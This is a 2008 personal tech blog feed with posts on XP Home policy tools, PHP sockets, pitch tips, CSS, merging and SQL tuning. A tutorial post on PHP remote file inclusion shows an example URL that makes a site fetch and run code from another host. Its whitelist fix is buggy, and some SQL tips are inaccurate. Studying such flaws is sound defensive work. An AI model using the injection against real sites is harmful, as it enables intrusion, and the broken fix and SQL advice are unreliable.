<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-445553689262032124</id><updated>2011-04-22T14:05:19.976+10:00</updated><category term='network'/><category term='JSP'/><category term='CSS'/><category term='menu bar'/><category term='Javascript'/><category term='php'/><category term='DMT Project'/><category term='security'/><title type='text'>Just do it</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>34</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-1210744844874072455</id><published>2008-09-04T18:04:00.003+10:00</published><updated>2008-09-04T18:09:08.318+10:00</updated><title type='text'>XP HOME local security</title><content type='html'>xp HOME edition does not have local security policy setting（gpedit.msc), here is a solution: &lt;br /&gt;    1、Copy files from XP Pro (in “C:\WINDOWS\system32”) gpedit.msc、fde.dll、gpedit.dll、 gptext.dll、wsecedit.dll to HOME &lt;span style="font-style:italic;"&gt;“C:\WINDOWS\system32”&lt;/span&gt;&lt;br /&gt;    2、Start-&gt;run: run following command “regsvr32 fde.dll”、“regsvr32 gpedit.dll”、“regsvr32 gptext.dll”、“regsvr32 wsecedit.dll”&lt;br /&gt;    3、Copy all the *.adm files in XP Pro “C:\WINDOWS\INF” to HOME edition in “C:\WINDOWS\INF”&lt;br /&gt;    4、Last step, run “gpedit.msc”, you will see the security policy console&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-1210744844874072455?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/1210744844874072455/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=1210744844874072455' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/1210744844874072455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/1210744844874072455'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2008/09/xp-home-local-security.html' title='XP HOME local security'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-1618504195698827107</id><published>2008-02-29T21:00:00.001+11:00</published><updated>2008-02-29T21:01:31.729+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='network'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>PHP Socket Basic</title><content type='html'>&lt;pre class="code"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?&lt;br /&gt;// set some variables&lt;br /&gt;$host = "192.168.1.99";&lt;br /&gt;$port = 1234;&lt;br /&gt;// don't timeout!&lt;br /&gt;set_time_limit(0);&lt;br /&gt;// create socket&lt;br /&gt;$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create&lt;br /&gt;socket\n");&lt;br /&gt;// bind socket to port&lt;br /&gt;$result = socket_bind($socket, $host, $port) or die("Could not bind to&lt;br /&gt;socket\n");&lt;br /&gt;// start listening for connections&lt;br /&gt;$result = socket_listen($socket, 3) or die("Could not set up socket&lt;br /&gt;listener\n");&lt;br /&gt;// accept incoming connections&lt;br /&gt;// spawn another socket to handle communication&lt;br /&gt;$spawn = socket_accept($socket) or die("Could not accept incoming&lt;br /&gt;connection\n");&lt;br /&gt;// read client input&lt;br /&gt;$input = socket_read($spawn, 1024) or die("Could not read input\n");&lt;br /&gt;// clean up input string&lt;br /&gt;$input = trim($input);&lt;br /&gt;// reverse client input and send back&lt;br /&gt;$output = strrev($input) . "\n";&lt;br /&gt;socket_write($spawn, $output, strlen ($output)) or die("Could not write&lt;br /&gt;output\n");&lt;br /&gt;// close sockets&lt;br /&gt;socket_close($spawn);&lt;br /&gt;socket_close($socket);&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-1618504195698827107?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/1618504195698827107/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=1618504195698827107' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/1618504195698827107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/1618504195698827107'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2008/02/php-socket-basic.html' title='PHP Socket Basic'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-8525275914807525334</id><published>2008-02-11T14:57:00.000+11:00</published><updated>2008-02-11T15:02:05.959+11:00</updated><title type='text'>Business Presentation Tips</title><content type='html'>http://www.feld.com/blog/archives/2004/06/the_torturous_w.html&lt;br /&gt;&lt;br /&gt;&lt;p sth_t="149" mk_i="183"&gt;Following are the questions to address. &lt;/p&gt;  1) WHAT IS YOUR VISION?&lt;br /&gt; - What is your big vision?&lt;br /&gt; - What problem are you solving and for whom?&lt;br /&gt; - Where do you want to be in the future?&lt;br /&gt;  &lt;br /&gt; 2) WHAT IS YOUR MARKET OPPORTUNITY AND HOW BIG IS IT?&lt;br /&gt; - How big is the market opportunity you are pursuing and how fast is it growing?&lt;br /&gt; - How established (or nascent) is the market?&lt;br /&gt; - Do you have a credible claim on being one of the top two or three players in the market?&lt;br /&gt;  &lt;br /&gt; 3) DESCRIBE YOUR PRODUCT/SERVICE&lt;br /&gt; - What is your product/service?&lt;br /&gt; - How does it solve your customer’s problem?&lt;br /&gt; - What is unique about your product/service?&lt;br /&gt;  &lt;br /&gt; 4) WHO IS YOUR CUSTOMER?&lt;br /&gt; - Who are your existing customers?&lt;br /&gt; - Who is your target customer?&lt;br /&gt; - What defines an "ideal" customer prospect?&lt;br /&gt; - Who actually writes you the check?&lt;br /&gt; - Use specific customer examples where possible.&lt;br /&gt;  &lt;br /&gt; 5) WHAT IS YOUR VALUE PROPOSITION?&lt;br /&gt; - What is your value proposition to the customer?&lt;br /&gt; - What kind of ROI can your customer expect by using buying your product/service?&lt;br /&gt; - What pain are you eliminating?&lt;br /&gt; - Are you selling vitamins, aspirin or antibiotics? (I.e. a luxury, a nice-to-have, or a need-to-have)&lt;br /&gt;  &lt;br /&gt; 6) HOW ARE YOU SELLING?&lt;br /&gt; - What does the sales process look like and how long is the sales cycle?&lt;br /&gt; - How will you reach the target customer? What does it cost to "acquire" a customer?&lt;br /&gt; - What is your sales, marketing and distribution strategy?&lt;br /&gt; - What is the current sales pipeline?&lt;br /&gt;  &lt;br /&gt; 7) HOW DO YOU ACQUIRE CUSTOMERS?&lt;br /&gt; - What is your cost to acquire a customer?&lt;br /&gt; - How will this acquisition cost change over time and why?&lt;br /&gt; - What is the lifetime value of a customer?&lt;br /&gt;  &lt;br /&gt; 8) WHO IS YOUR MANAGEMENT TEAM?&lt;br /&gt; - Who is the management team?&lt;br /&gt; - What is their experience?&lt;br /&gt; - What pieces are missing and what is the plan for filling them?&lt;br /&gt;  &lt;br /&gt; 9) WHAT IS YOUR REVENUE MODEL?&lt;br /&gt; - How do you make money?&lt;br /&gt; - What is your revenue model?&lt;br /&gt; - What is required to become profitable?&lt;br /&gt;  &lt;br /&gt; 10) WHAT STAGE OF DEVELOPMENT ARE YOU AT?&lt;br /&gt; - What is your stage of development? Technology/product? Team? Financial metrics/revenue?&lt;br /&gt; - What has been the progress to date (make reality and future clear)?&lt;br /&gt; - What are your future milestones?&lt;br /&gt;  &lt;br /&gt; 11) WHAT ARE YOUR PLANS FOR FUND RAISING?&lt;br /&gt; - What funds have already been raised?&lt;br /&gt; - How much money are you raising and at what valuation?&lt;br /&gt; - How will the money be spent?&lt;br /&gt; - How long will it last and where will the company "be" on its milestones progress at that time?&lt;br /&gt; - How much additional funding do you anticipate raising &amp;amp; when?&lt;br /&gt;  &lt;br /&gt; 12) WHO IS YOUR COMPETITION?&lt;br /&gt; - Who is your existing &amp;amp; likely competition?&lt;br /&gt; - Who is adjacent to you (in the market) that could enter your market (and compete) or could be a co-opted partner?&lt;br /&gt; - What are their strengths/weaknesses?&lt;br /&gt; - Why are you different?&lt;br /&gt;  &lt;br /&gt; 13) WHAT PARTNERSHIPS DO YOU HAVE?&lt;br /&gt; - Who are your key distribution and technology partners (current &amp;amp; future)?&lt;br /&gt; - How dependent are you on these partners?&lt;br /&gt;  &lt;br /&gt; 14) HOW DO YOU FIT WITH THE PROSPECTIVE INVESTOR?&lt;br /&gt; - How does this fit w/ the investor’s portfolio and expertise?&lt;br /&gt; - What synergies, competition exist with the investor’s existing portfolio?&lt;br /&gt;  &lt;br /&gt; 15) OTHER&lt;br /&gt; - What assumptions are key to the success of the business?&lt;br /&gt; - What "gotchas" could change the business overnight? New technologies, new market entrants, change in standards or regulations?&lt;br /&gt; - What are your company’s weak links?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-8525275914807525334?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/8525275914807525334/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=8525275914807525334' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/8525275914807525334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/8525275914807525334'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2008/02/business-presentation-tips.html' title='Business Presentation Tips'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-7235703375344897624</id><published>2008-02-04T11:59:00.000+11:00</published><updated>2008-02-04T12:08:34.173+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>Make a container's border work!</title><content type='html'>&lt;pre style="margin-right: -582px;"&gt;div.container {&lt;br /&gt; border: 1px solid #000000;&lt;br /&gt; overflow: hidden;&lt;br /&gt; width: 100%;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;div.left {&lt;br /&gt; width: 45%;&lt;br /&gt; float: left;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;div.right {&lt;br /&gt; width: 45%;&lt;br /&gt; float: right;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-7235703375344897624?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/7235703375344897624/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=7235703375344897624' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/7235703375344897624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/7235703375344897624'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2008/02/make-containers-border-work.html' title='Make a container&apos;s border work!'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-6800316216974232565</id><published>2008-02-01T12:15:00.001+11:00</published><updated>2008-02-01T12:33:41.879+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Code Injection Vulnerabilities Explained</title><content type='html'>&lt;span style="font-size: 10pt;"&gt;&lt;b&gt;Introduction:&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;There has been a sudden increase of attacks on sites that have Code Injection vulnerabilites. Code Injection is a term used when code is injected straight into a program/script from an outside source for execution at some point in time. These type of vulnerabilities may be many times worse than any other vulnerability, since the security of the website, and possibly of the server, is compromised.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="font-size: 10pt;"&gt;&lt;b&gt;Example:&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;This example will help you understand what exactly a Code Injection Vulnerability looks like in it's simplest form, and unfortunately, this snipet is actually used in quite a few websites.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size: 10pt;"&gt;... html header ...&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;include ('$page');&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;... html footer ...&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-size: 10pt;"&gt;   &lt;i&gt;Note: There is no php code in the header or footer, it is just HTML.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;To some, this is obviously a big mistake. The '$page' variable is never checked, so an attacker can choose what to include. So how does one exploit the above code?&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 10pt;"&gt;&lt;b&gt;Example Exploit:&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;An attacker can create a 'txt' file on another server and have it included in the above example. If the attacker puts php code in this 'txt' file, it will be executed on the exploited host.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size: 10pt;"&gt;&amp;lt;?php&lt;br /&gt;phpinfo();&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;Let's say the vulnerable code is located at 'http://domain/index.php', and the 'txt' file is located at 'http://domain2/code.txt', then the attacker would enter something like this into his browser: &lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size: 10pt;"&gt;http://domain/index.php?page=http://domain2/code.txt&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;Then end result would have the exploited website execute the command 'phpinfo()' in between the header and footer where the php include is located.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Explaination:&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;If you had no problem understanding why this would happen, feel free to skip this section.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;The 'include()' function takes data from another file, that is defined in the brackets (), and places the data in the area that the include is executed. So let us run through the program in our minds, and assume the url mentioned above is entered into a browser. In the url, it defines the variable $page as containing 'http://domain2/code.txt', so let us replaces all $page variables with this string:&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size: 10pt;"&gt;... html header ...&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;include ('&lt;b&gt;http://domain2/code.txt&lt;/b&gt;');&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;... html footer ...&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;Now the include function takes the code from the url/file mentioned, and places it where the include was called, so the result would be:&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size: 10pt;"&gt;... html header ...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;lt;?php&lt;br /&gt;phpinfo();&lt;br /&gt;?&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;... html footer ...&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;Now this is what the server ends up processing. What happens here is the header is displayed, then the php command; 'phpinfo()' is executed, followed by the footer at the end. &lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 10pt;"&gt;&lt;b&gt;What can happen:&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;The above example had harmless code being executed, but the attacker can execute more malicious code. &lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;span style="font-size: 10pt;"&gt;&lt;li&gt; An attacker can output the contents of any php file raw to the browser, where he can possibly obtain an sql login/password to your database.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; An attacker can use your website to send out large amounts of spam to various email addresses.&lt;br /&gt;&lt;/li&gt;&lt;li&gt; An attacker can deface your website.&lt;br /&gt;&lt;/li&gt;&lt;li&gt; An attacker can obtain private information.&lt;br /&gt;&lt;/li&gt;&lt;li&gt; An attacker may gain access to the whole server.&lt;br /&gt;&lt;/li&gt;&lt;/span&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;This is why it is important to secure your website, and not leave such vulnerabilities open for attack.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 10pt;"&gt;&lt;b&gt;Solution:&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;There is a very simple solution to the above example, and that is to check the variable. In the above example, 99% of the time you know what values $page should be, and therefore can check to see if that is the case.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size: 10pt;"&gt;... html header ...&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;//list of valid pages&lt;br /&gt;$pages=array("games/index.html", "news/news.html", "games/1.html");&lt;br /&gt;&lt;br /&gt;//check $page variable&lt;br /&gt;$valid=false;&lt;br /&gt;for ($i=0; $i&amp;lt;sizeof($pages) || !$valid; $i++) {&lt;br /&gt; if ($page==$page[$i]) {&lt;br /&gt;  $valid=true;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;if ($valid) include($page);&lt;br /&gt;if (!$valid) include($pages[0]); // include the first page if not valid&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;... html footer ...&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 10pt;"&gt;&lt;b&gt;Another Solution:&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size: 10pt;"&gt;Another solution is to check for invalid characters and setup all the page files in a seperate directory, all together. &lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="font-size: 10pt;"&gt;Example of where the pages are placed:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;br /&gt;&lt;span style="font-size: 10pt;"&gt;&lt;li&gt; pages/games.html&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; pages/news.html&lt;br /&gt;&lt;/li&gt;&lt;li&gt; pages/games-1.html&lt;br /&gt;&lt;/li&gt;&lt;/span&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;/span&gt;&lt;pre&gt;&lt;span style="font-size: 10pt;"&gt;... html header ...&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$invalidChars=array("/",".","\\","\"",";");&lt;br /&gt;$page=str_replace($invalidChars,"",$page);&lt;br /&gt;include ("pages/".$page.".html");&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;... html footer ...&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-6800316216974232565?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/6800316216974232565/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=6800316216974232565' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/6800316216974232565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/6800316216974232565'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2008/02/code-injection-vulnerabilities.html' title='Code Injection Vulnerabilities Explained'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-993129115612733269</id><published>2008-01-19T14:24:00.001+11:00</published><updated>2008-01-19T19:57:54.326+11:00</updated><title type='text'>Merge in Source Control</title><content type='html'>In theory, this could be very difficult:&lt;br /&gt;&lt;br /&gt;    * What happens if Jane changed some of the same lines that Joe changed, but in different ways?&lt;br /&gt;    * What happens if Jane's changes are functionally incompatible with Joe's?&lt;br /&gt;    * What happens if Jane made a change to a C# function which Joe has deleted?&lt;br /&gt;    * What happens if Jane changed 80 percent of the lines in the file?&lt;br /&gt;    * What happens if Jane and Joe each changed 80 percent of the lines in the file, but each did so for entirely different reasons?&lt;br /&gt;    * What happens if Jane's intent was not clear and she cannot be reached to ask questions?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-993129115612733269?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/993129115612733269/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=993129115612733269' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/993129115612733269'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/993129115612733269'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2008/01/merge-in-source-control.html' title='Merge in Source Control'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-6021658386818355781</id><published>2008-01-18T13:39:00.000+11:00</published><updated>2008-01-18T13:45:49.002+11:00</updated><title type='text'>SQL Performance</title><content type='html'>* One: only "tune" sql after code is confirmed as working correctly.&lt;br /&gt;&lt;br /&gt;* Two: ensure repeated sql statements are written absolutely identically to facilate efficient reuse: re-parsing can often be avoided for each subsequent use.&lt;br /&gt;&lt;br /&gt;Writing best practices: all sql verbs in upper-case i.e. SELECT; separate all words with a single space; all sql verbs begin on a new line; sql verbs aligned right or left within the initial verb; set and maintain a table alias standard; use table aliases and when a query involves more than one table prefix all column names with their aliases. Whatever you do, be consistent.&lt;br /&gt;&lt;br /&gt;* Three: code the query as simply as possible i.e. no unnecessary columns are selected, no unnecessary GROUP BY or ORDER BY.&lt;br /&gt;&lt;br /&gt;* Four: it is the same or faster to SELECT by actual column name(s). The larger the table the more likely the savings.&lt;br /&gt;Use:&lt;br /&gt;SELECT customer_id, last_name, first_name, street, city FROM customer; Rather than:&lt;br /&gt;SELECT * FROM customer;&lt;br /&gt;&lt;br /&gt;* Five: do not perform operations on DB objects referenced in the WHERE clause:&lt;br /&gt;Use:&lt;br /&gt;SELECT client, date, amount FROM sales WHERE amount &gt; 0;&lt;br /&gt;Rather than:&lt;br /&gt;SELECT client, date, amount FROM sales WHERE amount!= 0;&lt;br /&gt;&lt;br /&gt;* Six: avoid a HAVING clause in SELECT statements - it only filters selected rows after all the rows have been returned. Use HAVING only when summary operations applied to columns will be restricted by the clause. A WHERE clause may be more efficient.&lt;br /&gt;Use:&lt;br /&gt;SELECT city FROM country WHERE city!= 'Vancouver' AND city!= 'Toronto'; GROUP BY city;&lt;br /&gt;Rather than:&lt;br /&gt;SELECT city FROM country GROUP BY city HAVING city!= 'Vancouver' AND city!= 'Toronto';&lt;br /&gt;&lt;br /&gt;* Seven: when writing a sub-query (a SELECT statement within the WHERE or HAVING clause of another sql statement):&lt;br /&gt;-- use a correlated (refers to at least one value from the outer query) sub-query when the return is relatively small and/or other criteria are efficient i.e. if the tables within the sub-query have efficient indexes.&lt;br /&gt;-- use a noncorrelated (does not refer to the outer query) sub-query when dealing with large tables from which you expect a large return (many rows) and/or if the tables within the sub-query do not have efficient indexes.&lt;br /&gt;-- ensure that multiple sub-queries are in the most efficient order.&lt;br /&gt;-- remember that rewriting a sub-query as a join can sometimes increase efficiency.&lt;br /&gt;&lt;br /&gt;* Eight: minimise the number of table lookups especially if there are sub-query SELECTs or multicolumn UPDATEs.&lt;br /&gt;&lt;br /&gt;* Nine: when doing multiple table joins consider the benefits/costs for each of EXISTS, IN, and table joins. Depending on your data one or another may be faster.&lt;br /&gt;Note: IN is usually the slowest.&lt;br /&gt;Note: when most of the filter criteria are in the sub-query IN may be more efficient; when most of the filter criteria are in the parent-query EXISTS may be more efficient.&lt;br /&gt;&lt;br /&gt;* Ten: where possible use EXISTS rather than DISTINCT.&lt;br /&gt;&lt;br /&gt;* Eleven: where possible use a non-column expression (putting the column on one side of the operator and all the other values on the other). Non-column expressions are often processed earlier thereby speeding the query.&lt;br /&gt;Use:&lt;br /&gt;WHERE SALES &lt; 1000/(1 + n);&lt;br /&gt;Rather than:&lt;br /&gt;WHERE SALES + (n * SALES) &lt; 1000;&lt;br /&gt;&lt;br /&gt;* Twelve: the most efficient method for storing large binary objects, i.e. multimedia objects, is to place them in the file system and place a pointer in the DB.&lt;br /&gt;&lt;br /&gt;* Thirteen: Use inner-joint rather than left/right/cross joint&lt;br /&gt;&lt;br /&gt;* Fourteen: In most of cases, GROUP+HAVING &lt; WHERE&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-6021658386818355781?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/6021658386818355781/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=6021658386818355781' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/6021658386818355781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/6021658386818355781'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2008/01/sql-performance.html' title='SQL Performance'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 